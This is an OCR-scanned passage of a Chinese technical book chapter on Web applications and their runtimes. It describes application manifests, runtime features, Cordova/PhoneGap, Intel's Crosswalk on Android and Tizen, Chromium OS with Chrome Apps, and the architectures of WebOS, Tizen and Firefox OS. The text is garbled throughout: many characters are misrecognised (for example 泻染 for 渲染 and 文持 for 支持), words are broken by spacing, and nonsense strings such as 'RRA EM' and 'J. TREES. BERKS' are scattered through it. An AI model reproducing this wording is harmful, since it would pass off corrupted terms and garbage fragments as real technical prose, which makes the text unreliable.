限 ， 它 们 的 区 别 在 于 权限 是 系统 中 的 一 些 非常 敏感 的 信息 ， 如 个 人 信 
息 ， 包 括 但 是 不 限于 通讯 录 、 位 置 、 文 件 系 统 等 。 

















当然 规范 中 定义 的 属性 远 远 不 止 这 些 ， 清 单 的 规范 也 在 不 断 发 展 ， 
以 后 可 能 会 做 一 些 修 改 ， 并 在 未 来 引入 更 多 的 设置 信息 。 这 样 ，Web 应 
用 看 起 来 束 越 来 越 像 本 地 应 用 了 。 





15.3.2 ”Web 运行 环境 





Web 应 用 需要 有 文 撑 的 运行 环境 才能 够 工作 ， 就 像 本 地 应 用 需要 操 





作 系 统 才能 工作 ， 所 以 能 够 支撑 Web 应 用 运行 的 平台 或 者 运行 环境 ， 称 
为 Web 运 行 环境 〈 也 可 以 叫 Web 平 台 ) 。 那 么 一 个 Web 运 行 环 境 包 含 哪 
些 功能 或 者 特性 呢 ? 


图 15-3 摘 述 了 Web 运 行 平 人 台 的 功能 及 其 与 Web 应 用 的 关系 ， 下 面 逐 
RRA EM. 
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基本 泻 染 功 能 JavaScript 功能 CSS 功能 


图 15-3 Web 运行 平台 功能 和 Web 应 用 





。 首先 是 运行 HIML5 功 能 的 能 力 : Web 运 行 平 台 当 然 能 够 文 持 众多 
HTML5 功 能 ， 包 括 基 本 功能 如 CSS、JavaScript、Canvas2D 等 ， 同 
时 也 必须 包括 访问 设备 的 能 力 ， 典 型 能 力 如 设备 信息 、 地 理 位 置信 
J. TREES. BERKS 

其 次 是 对 离线) 存储 的 要 求 ”: 因为 Web 应 用 需要 能 够 访问 文件 
系统 或 者 使 用 大 量 的 存储 空间 ， 特别 是 离线 应 用 ， 这 里 面包 括 离线 
缓存 、 文 件 系 统 、 文 件 操作 接口 等 方面 的 规范 文 持 ， 这 些 对 于 应 用 


特别 重要 。 
。 再 次 是 将 Web 资 源 文 件 打包 的 文 持 : tte Kt 


HTML/CSS/JavaScript 文 件 和 其 他 资源 文件 生成 一 定格 式 的 包 ， 这 
里 面 重要 的 一 点 就 是 对 清单 的 支持 。 清 单 描述 了 Web 应 用 的 基本 设 





置 ， 这 些 设 置 对 于 网 页 而 言 是 不 需要 的 ， 但 是 web 应 用 需要 这 些 来 
定义 它 作 为 一 个 应 用 程序 的 行为 ， 如 前 面 说 的 全 屏 、 窗 口 大 小 、 图 
标 等 。 

然后 是 应 用 程序 的 运行 模式 ”: 也 就 是 生命 周期 方面 的 支持 。Web 
运行 环境 能 够 通知 Web 应 用 启动 、 挂 起 、 恢 复 和 销毁 等 状态 信息 。 
这 个 是 区 别 于 网 页 的 重要 特征 之 一 。 

最 后 是 能 够 局 动 并 运行 Web 应 用 : 是 的 ， 这 可 以 让 Web 应 用 使 用 
起 来 跟 本 地 应 用 的 体验 相同 或 者 类 似 ， 而 不 仅仅 是 网 页 浏览 的 方 

式 ， 这 里 面包 括 开局 应 用 、 关 闭 应 用 、 升 级 应 用 和 管理 应 用 等 。 








虽然 都 能 支持 Web 应 用 ， 但 是 Web 运 行 环境 也 是 多 种 多 样 的 。 按 照 








Web 运 行 环境 的 工作 模式 ， 目 前 可 以 将 它 分 成 三 种 类 型 。 


操作 系统 本 里 就 支持 Web 应 用 ， 所 以 通常 称 为 Web 操 作 系 统 ， 典 型 
的 例子 如 Tizen、Chrome OS、Firefox OS 等 。 因 为 整个 操作 系统 就 
是 为 了 Web 应 用 设计 的 ， 所 以 Web 应 用 在 系统 中 是 第 一 等 公民 。 
浏览 器 或 者 其 他 类 似 的 产品 中 包含 支持 Web 应 用 的 能 力 ， 典 型 的 例 
子 是 Crosswalk 的 Tizen 版 《英特尔 公司 的 开源 项 目 ) 、Chromium 的 
架 面 版 和 Pokki 等 。 这 一 类 型 的 特性 是 Web 应 用 都 是 由 该 运行 环境 
管理 ， 操 作 系 统 看 不 到 Web 应 用 的 存在 ， 而 且 每 个 web 应 用 也 不 会 
都 变 成 一 个 本 地 应 用 。 因 为 本 吴 操 作 系统 只 是 文 持 本 地 应 用 ， 上 所 以 
Web 应 用 对 操作 系统 而 言 是 透明 的 ， 它 看 到 的 是 多 个 运行 环境 中 的 
实例 。 

以 一 个 独立 的 框架 存在 于 传统 的 操作 系统 ， 本 来 Web 运 行 环境 依赖 
于 操作 系统 才能 运行 ， 而 Web 应 用 工作 在 该 Web 运 行 环 境 中 ， 束 像 
本 地 应 用 一 样 ， 所 以 操作 系统 不 能 感知 它 是 本 地 应 用 还 是 web 应 
用 ， 典 型 的 例子 如 Crosswalk (Android 版 ) 和 Cordova 〈 人 也 就 是 











PhoneGap 使 用 的 开源 项 目 ) 。 它 同 第 二 类 型 的 区 别 在 于 ，Web 应 用 
本 时 会 被 打包 成 本 地 应 用 ， 上 所 以 操作 系统 认为 每 个 打包 后 的 Web 应 
用 就 是 一 个 本 地 应 用 ， 每 个 Web 应 用 之 后 的 局 动 方 式 跟 本 地 应 用 相 
同 ， 当 然 ，Web 应 用 是 由 Web 运 行 环境 这 个 本 地 应 用 局 动 并 运行 

的 。 








15.4 Cordova! H 


Cordova 是 一 个 开源 项 目 ， 能 够 提供 将 Web 网 页 打包 成 本 地 应 用 格 
式 的 可 运行 文件 。 读 者 可 能 对 Cordova 项 目 陌 生 ， 但 是 大 家 可 能 对 它 的 
前 身 非常 熟悉 ， 那 束 是 PhoneGap 项 目 ， 它 后 来 被 Adobe 公 司 收购 。 





图 15-4 摘 述 了 Cordova 的 主要 工作 思想 ， 对 于 一 个 web 应 用， 结合 
Cordova 提 供 的 本 地 代码 和 框架 ， 使 用 Cordova 的 打包 工具 将 它们 一 起 打 
包 成 一 个 个 同系 统 相关 的 本 地 可 执行 文件 ， 这 里 的 打包 工具 不 同 于 前 面 
说 的 Web 的 清单 文件 ， 而 是 指 将 Web 应 用 打包 成 操作 系统 支持 的 本 地 可 
执行 文件 。 虽 然 这 些 本 地 文件 不 能 跨 操作 系统 ， 但 是 对 于 Web 开 发 者 来 
说 ， 它 确实 只 需要 编写 HTML5 相 关 的 代码 即 可 ， 而 不 需要 关注 跟 平台 
相关 的 编程 语言 和 接口 ， 所 以 不 需要 有 很 强 的 平台 背景 。 
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图 15-4 Cordova 的 工作 流程 


从 图 15-4 中 可 以 看 出 ，Cordova 项 目 一 个 重要 的 特性 就 是 使 用 系统 
提供 的 网 页 泻 染 能 力 ， 而 自 喘 的 框架 和 代码 中 不 包含 这 一 能 力 ， 因 而 它 


本 身 没 有 提供 额外 的 HIML5 能 力 。 不 过 ， 非 常 好 的 一 点 是 ，Cordova 项 
目 提 供 了 一 系列 的 接口 ， 如 Device、NetworkInfo 等 JavaScript 接 口 ， 很 多 
接口 后 来 被 W3C 采 用 成 为 标准 ， 这 的 确 非常 好 地 推动 了 Web 的 发 展 。 


Cordova 的 这 一 设计 极 大 地 方便 了 Web 开 发 者 ， 使 得 它 在 很 短 的 时 
间 内 获得 了 巨大 的 成 功 ， 现 在 使 用 PhoneGap 打 包 的 Web 应 用 成 干 上 万 ， 
下 面 看 一 看 它 的 优势 和 不 足 之 处 。 


首先 是 优势 。 第 一 是 提供 跨 平 台 的 文 持 ， 它 宫 括 了 所 有 主流 的 移动 
操作 系统 ， 这 使 得 Web 的 跨 平 台 优 势 落 到 了 实处 ， 第 二 是 提供 了 目 动 化 
的 打包 工具 ; 第 三 是 提供 了 插件 机 制 ， 使 得 开发 者 扩展 Web 的 能 力 变 得 
轻而易举 ; 第 四 是 提供 了 一 套 Web 接 口 ， 这 些 接 口 提供 了 访问 设备 的 能 
力 ， 让 更 多 的 需求 得 到 了 满足 。 











但 是 ， 它 也 存在 一 些 不 足 之 处 。 首 先 当 然 还 是 它 的 HTML5 能 力 和 
性 能 ， 严 重 依赖 于 操作 系统 网 页 泻 染 模块 的 能 力 ， 典 型 的 问题 是 很 多 开 
发 者 对 于 Android 上 Web 运 行 环境 功能 和 性 能 的 抱 急 ， 笔 者 兽 听 到 这 类 
问题 被 多 次 提 及 ， 如 HTML5 能 力 文 持 不 足 、 性 能 不 能 满足 需求 等 。 另 
外 ， 由 于 不 同 操作 系统 使 用 的 网 页 演 染 模块 不 一 致 ， 直 接 导 致 Web 应 用 
在 不 同 平台 不 能 使 用 相同 的 HTML5 能 力 和 Web 接 口 ， 典 型 的 例子 是 
Android 上 不 能 够 使 用 WebGL 等 功能 ， 这 对 于 开发 者 来 说 绝对 不 是 什么 
好 事 。 


15.5 Crosswalk H 


Crosswalk 项 目 是 由 英特尔 公司 发 起 的 一 个 开源 项 目 ， 该 项 目 基 于 
WebKit (Blink) 和 Chromium 等 开源 项 目 打 造 ， 其 目的 是 提供 一 个 路 不 
同 操作 系统 的 Web 运 行 环境 ， 包 括 Android、Tizen、Linux、Windows、 
MacOS 等 众多 平台 ， 目 前 主要 文 持 Android、Tizen 和 Linux 等 。 如 前 面 描 
述 ，Crosswalk 是 该 Web 运 行 环境 中 能 够 作为 操作 系统 的 一 个 独立 模块 或 
者 说 是 本 地 应 用 ， 而 Crosswalk 本 里 不 是 一 个 操作 系统 ， 具 体 请 读者 但 
A “https://www.crosswalk-project.org/”. 不同 于 Cordova 项 目 ，Crosswalk 
不 仅仅 提供 一 些 Web 接 口 的 扩展 ， 也 不 是 简单 的 基于 系统 默认 的 磐 入 式 
应 用 接口 ， 如 Android WebView， 而 是 使 用 新 Blink 和 Chromium 的 能 力 ， 
加 强 对 HIML5 能 力 的 文 持 ， 同 时 加 入 了 Web 作 为 一 个 运行 平台 的 各 种 
能 力 ， 从 功能 上 看 ， 它 对 Web 应 用 的 支持 和 规范 的 支持 更 加 完整 ， 图 
15-5 描 述 了 Web 应 用 在 Crosswalk 上 的 基本 工作 过 程 。 








图 15-5 中 可 以 看 到 在 Android 系 统 和 Tizen 系 统 上 两 者 是 有 些 不 一 样 
的 ， 这 是 因为 Tizen 系 统 本 身 是 一 个 直接 支持 Web 应 用 的 操作 系统 ， 所 以 
它 文 持 将 Web 应 用 (XPK 格 式 ) 安装 到 系统 中 而 不 需要 额外 的 处 理 。 当 
用 户 需 要 启动 Web 应 用 的 时 候 ， 由 Crosswalk 加 载 Web 应 用 的 设置 并 使 用 
运行 环境 来 启动 该 Web 应 用 。 
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Android APK Tizen XPK 
(包含 Web YH) (包含 Web 应 用 ) 


Crosswalk Tizen 






Crosswalk Android 


应 用 启动 并 运行 
图 15-5 Crosswalk 支 持 Web 应 用 的 示意 


在 Android 系 统 上 ， 那 就 是 不 同 的 故事 了 ， 为 Android 系 统 只 是 支 
持 本 地 应 用 ， 为 此 需要 特殊 的 工具 将 Web 应 用 转换 成 Android 系 统 的 
APK。 这 一 工具 当然 需要 满足 Android 上 的 特别 需求 ， 这 里 有 两 个 目 
的 。 





e 因为 Web 应 用 中 有 名 称 、 网 标 、 加 载 入 口 等 信息 ， 这 些 信 息 需 要 设 
置 到 Android 的 AndroidManifest.xml 中 ， 因 此 ， 当 用 户 安装 该 APK 的 
时 候 ， 名 称 和 图 标 等 信息 就 会 显示 在 应 用 的 列表 中 ， 跟 其 他 本 地 应 
用 看 起 来 一 样 。 

。 满足 Android 系 统 只 能 从 Application 和 Activity 类 来 启动 ， 而 不 是 
Web 应 用 。 为 此 ，Crosswalk 项 目 提 供 了 一 些 代码 来 让 Android 系 统 
启动 Crosswalk 运 行 平台 ， 而 该 运行 平台 根据 Web 应 用 的 设置 来 启动 














Web 应 用 。 


下 面 以 Android 平 台 上 的 实现 为 例 说 明 Crosswalk 项 目的 架构 和 特 
性 。 目 前 ， 项 目 还 在 不 断 地 发 展 中 ， 首 先 理 解 一 下 Crosswalk 在 Android 
平台 上 的 设计 结构 ， 图 15-6 是 Crosswalk 在 Android 系 统 上 的 层次 结构 





图 15-6 Crosswalk 在 Android 系 统 上 的 层次 结构 图 


图 15-6 中 灰色 部 分 完全 是 Crosswalk 提 供 的 新 部 分 ， 而 Content 和 


Blink 主 要 来 源 于 Chromium 开 源 项 目 ， 当 然 也 包括 一 些 不同 的 地 方 ， 如 


性 能 


优化 。 在 这 之 上 即 是 Crosswalk 中 的 RuntimeCore 层 和 Runtime 层 。 


RuntimeCore 层 使 用 Content 层 的 桥接 层 并 提供 简单 易 用 的 Java 接 口 。 而 
Runtime 层 则 包括 扩展 Web 接 口 的 扩展 机 制 、 各 种 Web 运 行 平台 的 新 Web 
接口 (如 双 屏 幕 实现 的 支持 等 ) ， 也 包括 跟 Android 系 统 集成 的 部 分 ， 
如 对 话 框 、 文 件 选择 器 等 。 在 这 之 上 就 是 调用 Runtime 层 的 封装 层 ， 用 
来 加 载 Web 应 用 ， 同 时 也 是 为 了 符合 Android 系 统 的 需要 ， 包 括 Activity 
和 Application 等 具体 实现 。 








根据 上 面 的 层次 结构 图 ，Crosswalk 大 致 有 以 下 特性 。 


因为 使 用 了 最 新 的 Chromium 和 Blink 代 人 码 ， 所 以 Crosswalk 对 于 
HTML5 功 能 的 支持 非常 好 ， 特 别 是 同 之 前 Android 系 统 上 提供 的 基 
于 WebKit 的 Android 移 植 实现 的 WebView 对 比 。 

因为 不 依赖 于 操作 系统 的 泻 染 网 页 的 能 力 ， 所 以 Crosswalk 提 供 统 
一 的 接口 ， 而 不 是 在 不 同 平台 上 支持 不 同 的 接口 ， 这 样 在 最 大 程度 
上 提供 了 统一 的 编程 接口 ， 当 然 不 是 所 有 接口 完全 一 致 。 
Crosswalk 中 加 入 了 一 些 特 别 的 优化 代码 ， 使 得 它 的 性 能 比较 出 
色 ， 不 仅仅 是 跟 WebView 对 比 ， 而 且 跟 Chromium 比 较 ，Crosswalk 
在 某 些 地 方 也 表现 出 不 一 样 的 性 能 优势 。 

Crosswalk 设 计 并 实现 了 自己 的 扩展 系统 ， 在 Android 上 ， 是 一 僚 提 
供 Java 接 口 的 机 制 ， 虽 然 它 的 内 部 实现 直接 修改 了 Chromium 的 代 

人 码 。 该 系统 能 够 允许 Web 开 发 者 在 需要 的 时 候 使 用 Java 或 者 C++ 来 
扩展 Web 的 能 

Crosswalk 实 现 了 众多 W3C 定 义 的 关于 Web 应 用 方面 的 规范 ， 如 平 
台 的 运行 模型 、 各 种 设备 接口 等 ， 极 大 地 提升 了 了 Web 运行 环 境 的 能 
力 ， 同 时 因为 遵守 规范 ， 对 移植 性 有 极 大 的 好 处 。 

















Crosswalk 极 好 地 同 Android 系 统 结合 起 来 ， 小 到 应 用 名 称 、 图 标 ， 
大 到 应 用 程序 生命 周期 ， 各 种 协议 的 文 持 ， 如 电话 、 用 户 界面 、 安 
全 权限 等 ， 这 一 切 使 web 应 用 在 Android 系 统 之 上 能 够 获得 跟 本 地 
应 用 类 似 的 体验 。 

Crosswalk 引 入 了 对 很 多 新 功能 的 文 持 ， 如 Miracast 的 文 持 ， 它 能 够 
文 持 多 屏 显 示 ， 对 很 多 应 用 提供 了 民 好 的 体验 。 当 然 还 有 很 多 其 他 
的 功能 ， 读 者 可 以 慢 慢 挖 掘 。 











对 于 Web 应 用 的 开发 者 来 说 ， 实 际 上 可 以 在 完全 不 了 解 这 些 背 后 故 
事 的 同时 依然 使 用 Crosswalk， 你 所 要 做 的 仪 是 使 用 一 个 工具 ， 也 束 是 
Crosswalk 中 的 打包 工具 ， 该 工具 可 以 根据 Web 应 用 的 设置 来 自动 生成 
APK 文 件 ， 开 发 者 可 以 将 该 文件 上 传 至 Google Play Store 就 可 以 了 ， 十 
分 方便 ， 有 具体 的 步骤 可 以 参考 官网 上 的 文档 ， 有 比较 详细 的 描述 。 





15.6 Chromium OS 和 Chrome 的 
Web). H 


15.6.1 基本 原理 


HTML5 技 术 已 经 不 仅仅 用 来 编写 网 页 了 ， 也 可 以 用 来 实现 Web 应 
用 。 传 统 的 操作 系统 文 持 本 地 应 用 ， 那 么 是 否 可 以 有 专门 的 操作 系统 来 
文 持 Web 应 用 呢 ? 当然 ， 现 在 已 丝 有 众多 基于 Web 的 操作 系统 ， 但 它们 
只 文 持 基 于 HIML5 的 Web 应 用 ， 而 不 文 持 本 地 应 用 ， 这 的 确 是 一 项 技 
NEn Chromium OS 就 是 文 持 Web 应 用 的 一 个 web 操作 系统 。 











Chromium OS 也 是 基于 Chromium 项 目 开 发 出 来 的 ， 它 的 核心 思想 是 
使 用 泻 染 引擎 和 Chromium 浏 览 堪 的 能 力 ， 同 时 加 上 对 Web 应 用 其 他 方 
面 的 支持 ， 并 使 用 Linux 内 核 和 一 些 第 三 方 库 构建 成 一 个 操作 系统 。 而 
对 于 其 他 众多 的 操作 系统 功能 ， 如 果 不 需 要 ， 它 根本 不 会 被 包含 进来 ， 
所 以 它 是 一 个 很 轻 量 级 的 操作 系统 ， 结 构 上 非常 简单 和 清晰 明了 ， 图 
15-7 中 的 架构 图 就 是 来 源 于 Chromium 的 官方 网 站 ， 有 具体 参见 这 个 网 址 : 
http://www.chromium.org/chromium-os/chromiumos-design-docs/software- 
architecture。 未 来 可 能 有 些 变化 ， 如 图 形 方 面 使 用 新 的 Aura 架 构 等 ， 但 
是 基本 的 架构 应 该 是 比较 稳定 的 。 

















图 15-7 Chromium 0S 系 统 架 构图 


图 15-7 中 最 下 面 的 部 分 当然 是 硬件， 在 它 之 上 是 为 该 系统 定义 的 
Firmware. Chromium ”OS 是 基于 Linux 内 核 和 Linux 上 一 些 系统 库 开发 而 
来 的 ， 同 时 使 用 X 图 形 架构 并 定制 了 自己 的 窗口 管理 系统 (Window 
Manager) 。 这 些 同 传统 的 Linux 区 别 不 是 很 大 ， 主 要 区 别 是 Chromium 
OS 做 了 比较 多 的 定制 和 裁 甬 。 对 于 系统 层面 的 技术 ， 这 里 不 做 过 多 的 
HR. 


其 余部 分 就 是 Chromium OS 的 核心 功能 ， 主 要 基于 Chromium 项 目 ， 
它 能 支持 Web 应 用 、 网 页 和 Chromium 的 扩展 实例 。Chromium 的 扩展 机 
制 在 第 10 章 中 做 过 介绍 ， 这 里 主要 介绍 Web 应 用 的 支持 。 





AIFA, Chromium H Æx FH Æ (Extension) ， 在 Google 的 
Chrome Web Store 中 也 只 是 包括 了 各 种 开发 者 开发 的 扩展 ， 但 是 扩展 只 
是 浏览 器 的 补充 和 功能 的 延伸 。 在 目前 的 Chrome Web Store 中 ， 已 经 有 
应 用 和 扩展 等 不 同 的 类 别 。 不 过 应 用 是 基于 扩展 的 结构 发 展 起 来 的 ， 那 
么 到 底 对 于 应 用 方面 有 哪些 不 同 之 处 呢 ? 








Web 应 用 在 Chromium 中 称 为 Chrome Apps， 它 的 目标 是 提供 像 本 地 
应 用 一 样 的 能 力 ， 但 是 可 以 像 网 页 一 样 安全 ， 也 就 是 使 用 各 种 安全 技术 
来 加 强 安 全 性 。Chrome Apps 看 起 来 和 用 起 来 ， 感 觉 更 像 本 地 应 用 。 


一 个 应 用 使 用 单独 的 窗口 ， 像 本 地 应 用 一 样 被 打开 或 者 被 关闭 。 





外 观 上 看 起 来 像 本 地 应 用 只 是 一 方面 ， 更 重要 的 是 系统 能 够 提供 什 
么 样 能 力 给 Chrome Apps。 在 Chromium 中 ， 主 要 是 通过 “chrome.*” 编 程 
接口 来 将 本 地 系统 的 能 力 提供 给 Web 开 发 者 的 。 


。 首先 来 看 称 为 Manifest.json 的 清单 文件 ， 该 文件 类 似 于 Android 系 统 
应 用 程序 所 使 用 的 AndroidManfiest.xml， 它 定义 了 应 用 的 各 种 设 
置 ， 如 图 标 、 名 称 、 入 口 文 件 、 语 言 、 权 限 等 信息 ， 也 就 是 一 个 本 
地 应 用 启动 时 候 的 设置 加 上 一 些 Web 应 用 的 特殊 设置 ， 一 个 简单 的 
Manifest.json 非 常 类 似 于 示例 代码 15-1 中 摘 述 的 那样 ， 只 是 对 于 某 
些 属 性 的 定义 不 一 致 ， 但 是 例如 名 字 、 网 标 都 是 相同 的 含义 。 其 中 
很 大 的 不 同 点 在 于 ，Chromium 的 清单 文件 引入 了 “Background 
Page” 概 念 ， 这 表示 Web 应 用 可 以 从 一 个 JavaScript 文 件 启动 ， 而 不 
是 HTML 网 页 。 这 个 有 点 类 似 于 本 地 应 用 是 从 “main” 函 数 开始 执行 
的 。Chromium 这 样 做 的 好 处 惑 是 能 够 引入 应 用 生命 周期 、 安 装 番 
其 次 是 离线 技术 。Web 应 用 使 用 起 来 想 要 像 一 个 本 地 应 用 ， 那 就 不 
能 只 在 网 络 连 接 的 时 候 才 能 够 使 用 ，Chrome Apps 默 认 Web 应 用 可 
以 离线 使 用 。 

最 后 是 Chrome Apps 的 应 用 程序 生命 周期 (App Life Cycle) ， 这 同 
现在 移动 系统 上 的 概念 是 一 致 的 。 在 Chromium 中 ， 包 括 

J “onLaunch”, “onSuspend”, “onSuspendCanceled” 等 ， 还 包括 安装 
和 他 载 相 关 的 如 “onInstalled” “onUpdateAvailable” 等 ， 这 也 是 
Chromium 为 应 用 特别 引入 的 编程 接口 。 


接 下 来 是 安全 机 制 。 在 第 12 章 介绍 了 安全 机 制 ， 包 括 CSP 和 CORS 
等 安全 技术 ， 在 Manifest.json 中 ， 也 同样 定义 了 这 些 信 息 ， 因 为 这 些 应 


用 不 一 定 从 网 络 上 传输 过 来 ， 所 以 这 些 设 置 不 能 定义 在 HITP 消 息 头 
中 ， 而 是 定义 在 Manifest.json 中 ， 所 以 同样 需要 将 安全 机 制 引入 了 
Chrome Apps. 


目前 Chromium OS 只 支持 传统 的 更 面 硬件 ， 但 是 ， 它 也 逐步 加 入 触 
空 等 移动 领域 的 技术 ， 发 展 也 很 迅速 ， 至 于 未 来 会 发 展 成 什么 样 ， 笔 者 
将 会 和 大 家 一 起 关注 。 


15.6.2 ”其 他 Web 操 作 系 统 


下 面 选 取 目 前 一 些 主流 的 Web 操 作 系 统 来 做 一 些 简 单 的 介绍 和 比 
较 ， 它 们 分 别 是 WebOS、Tizen、Chromium OS 及 Firefox OS. 





上 面 介绍 的 很 多 Web 操 作 系 统 都 是 基于 WebKit 〈 或 者 Blink) TAY 
引擎 开发 的 ， 如 WebOS、Tizen 和 Chromium OS。 只 有 Firefox OS 是 基于 
自身 的 Gecko 引 擎 开发 的 。 接 下 来 的 内 容 主 要 是 从 架构 或 者 模块 方面 进 


行 一 些 分 析 。 


WebOS 最 早 来 源 于 Palm， 后 来 到 惠普 ， 到 现在 被 LG 收 购 ， 经 历 非 
常 复杂。 图 15-8 是 来 自 于 WebOS 官 方 网 站 上 给 出 的 架构 图 ， 图 中 隐 去 了 
很 多 比较 细节 的 东西 ， 其 中 Core OS 主 要 是 基于 Linux 内 核 和 WebKit 泻 染 
引擎 打造 的 系统 ， 二 者 提供 ，Web 应 用 运行 的 系统 环境 。 
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图 15-8 Web0S 官 方 架 构图 


在 这 之 上 的 左 侧 是 用 户 界 面 的 管理 ， 如 Web 应 用 切换 、 窗 口 等 ， 这 
同 传统 操作 系统 非常 类 似 。 它 的 右 侧 是 提供 的 各 种 服务 ， 这 些 服务 的 接 
口 是 JavaScript 接 口 。 每 个 应 用 都 可 以 通过 JavaScript 和 系统 的 服务 框架 
来 调用 这 些 服 务 ， 这 看 起 来 非常 像 Linux 系 统 的 Daemon 服 务 进 程 和 它 的 
使 用 进程 。 在 服务 之 上 的 是 Mojo 框 架 ， 现 在 已 经 变 为 Enyo 和 Enyo2， 它 
们 主要 是 提供 应 用 开发 所 需要 的 应 用 框架 和 基础 库 。 在 最 上 面 的 当然 是 
Web 应 用 了 ， 有 了 上 面 提 到 的 这 些 库 和 界面 管理 器 ，Web 应 用 可 以 像 本 
地 应 用 一 样 在 WebOS 中 运行 了 。 











接 下 来 是 Tizen 系 统 。Tizen 是 由 英特尔 和 三 星 联 合 开源 社区 打造 的 
新 一 代 Web 操 作 系 统 ， 它 同样 也 是 基于 Linux 内 核 和 WebKit〈 在 某 个 版 
本 之 后 基于 WebKit2) 引擎 开发 的 。 虽 然 文 持 Web 应 用 ， 但 是 Tizen 目 前 
依然 支持 本 地 应 用 ， 也 就 是 使 用 C/C++ 语 言 和 EFL 图 形 库 开 发 的 应 用 。 
图 15-9 是 来 自 Tizen 官 方 网 站 的 架构 网 ， 看 起 来 比较 琐碎 。 但 是 ， 大 体 上 
还 是 包含 几 个 部 分 ， 最 下 面 是 Linux 内 核 ， 内 核 之 上 是 各 种 基础 库 和 框 
架 ， 它 们 当然 是 使 用 本 地 语言 开发 的， 该 架构 中 还 包含 了 窗口 管理 系 
统 ， 也 就 是 图 中 的 “Core” 部 分 。 
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图 15-9 Tizen 系 统 官 方 架构 图 


图 中 的 “Core” 部 分 之 上 分 成 两 块 ， 一 块 是 文 持 Web 应 用 的 框架 ， 另 
外 一 块 是 支持 本 地 应 用 的 框架 。 右 侧 的 本 地 框架 同 很 多 本 地 系统 差别 不 
大 ， 而 左 侧 的 框架 主要 是 为 文 持 Web 应 用 而 存在 的 ， 包 括 了 各 种 
W3C/HTML5 定 义 的 功能 ， 同 时 也 包括 了 各 种 设备 接口 ， 如 蓝牙 等 ， 这 
些 都 会 以 JavaScript 接 口 的 方式 被 Web 应 用 所 使 用 。 


Firefox OS 是 在 Firefox 浏 览 器 的 基础 上 发 展 起 来 的 ， 是 基于 Linux 内 
核 和 Gecko 演 染 引 擎 开发 出 来 的 。Firefox OS 的 分 层 结构 如 图 15-10 所 
示 ， 主 要 思想 来 自 于 Firefox 官 方 网 站 ， 这 里 笔者 进行 了 一 些 简 化 以 方便 
理解 


Gaia (工具 、 各 种 认证 和 系统 应 用 ) 


Gecko 〈 泻 染 引 擎 十 各 种 JavaScript 接口 实现 ) 


Gonk (基础 库 +Linux 内 核 ) 





图 15-10 Firefox 0S 的 层次 架构 图 


图 中 可 以 看 出 从 模块 结构 上 Firefox OS 可 以 分 成 三 个 层 ， 最 下 层 的 
基础 层 称 为 Gonk 层 ， 它 包括 了 Linux 内 核 和 众多 的 基础 库 ， 这 个 基本 上 
所 有 操作 系统 都 是 一 样 的 。 在 Gonk 层 上 面 的 是 Gecko 层 ， 它 主要 是 
Gecko 泻 染 引擎 和 Web 应 用 所 需要 的 众多 JavaScript 接 口 的 具体 实现 。 在 
Gecko 层 上 面 的 是 Gaia 层 ， 它 包含 了 各 种 帮助 生成 Web 应 用 的 工具 ， 以 
及 基于 系统 的 应 用 (如 通信 录 、 电 话 应 用 等 ) 和 经 过 认证 的 其 他 应 用 。 
结合 上 面 介 绍 的 各 种 Web 操 作 系统 来 看 ， 这 些 系统 大 体 上 的 架构 比较 类 
似 ， 只 是 在 细节 或 者 某 些 模块 的 组 织 上 面 有 些 不 同 点 。 就 笔者 看 来 ， 目 
前 这 些 Web 操 作 系 统 仍然 在 发 展 的 初期 阶段 ， 很 多 能 力 上 不 足以 与 传统 
的 操作 系统 媲美 ， 但 是 这 并 不 妨碍 它们 的 优势 ， 比 如 开发 者 使 用 
HTML5 技 术 来 开发 应 用 程序 。 随 着 HTML5 技 术 的 不 断 发 展 ，HTML5 在 
能 力 和 性 能 上 的 差距 不 断 缩 减 ，HTML5 所 带 来 的 巨大 优势 会 逐步 成 为 
Web 操 作 系 统 的 助 推力 。 笔 者 有 理由 相信 ，HTML5 技 术 和 Web 平 台 化 战 
上 略 会 逐步 深入 下 去 ， 让 我 们 一 起 见证 新 技术 带 来 的 震撼 吧 ! 
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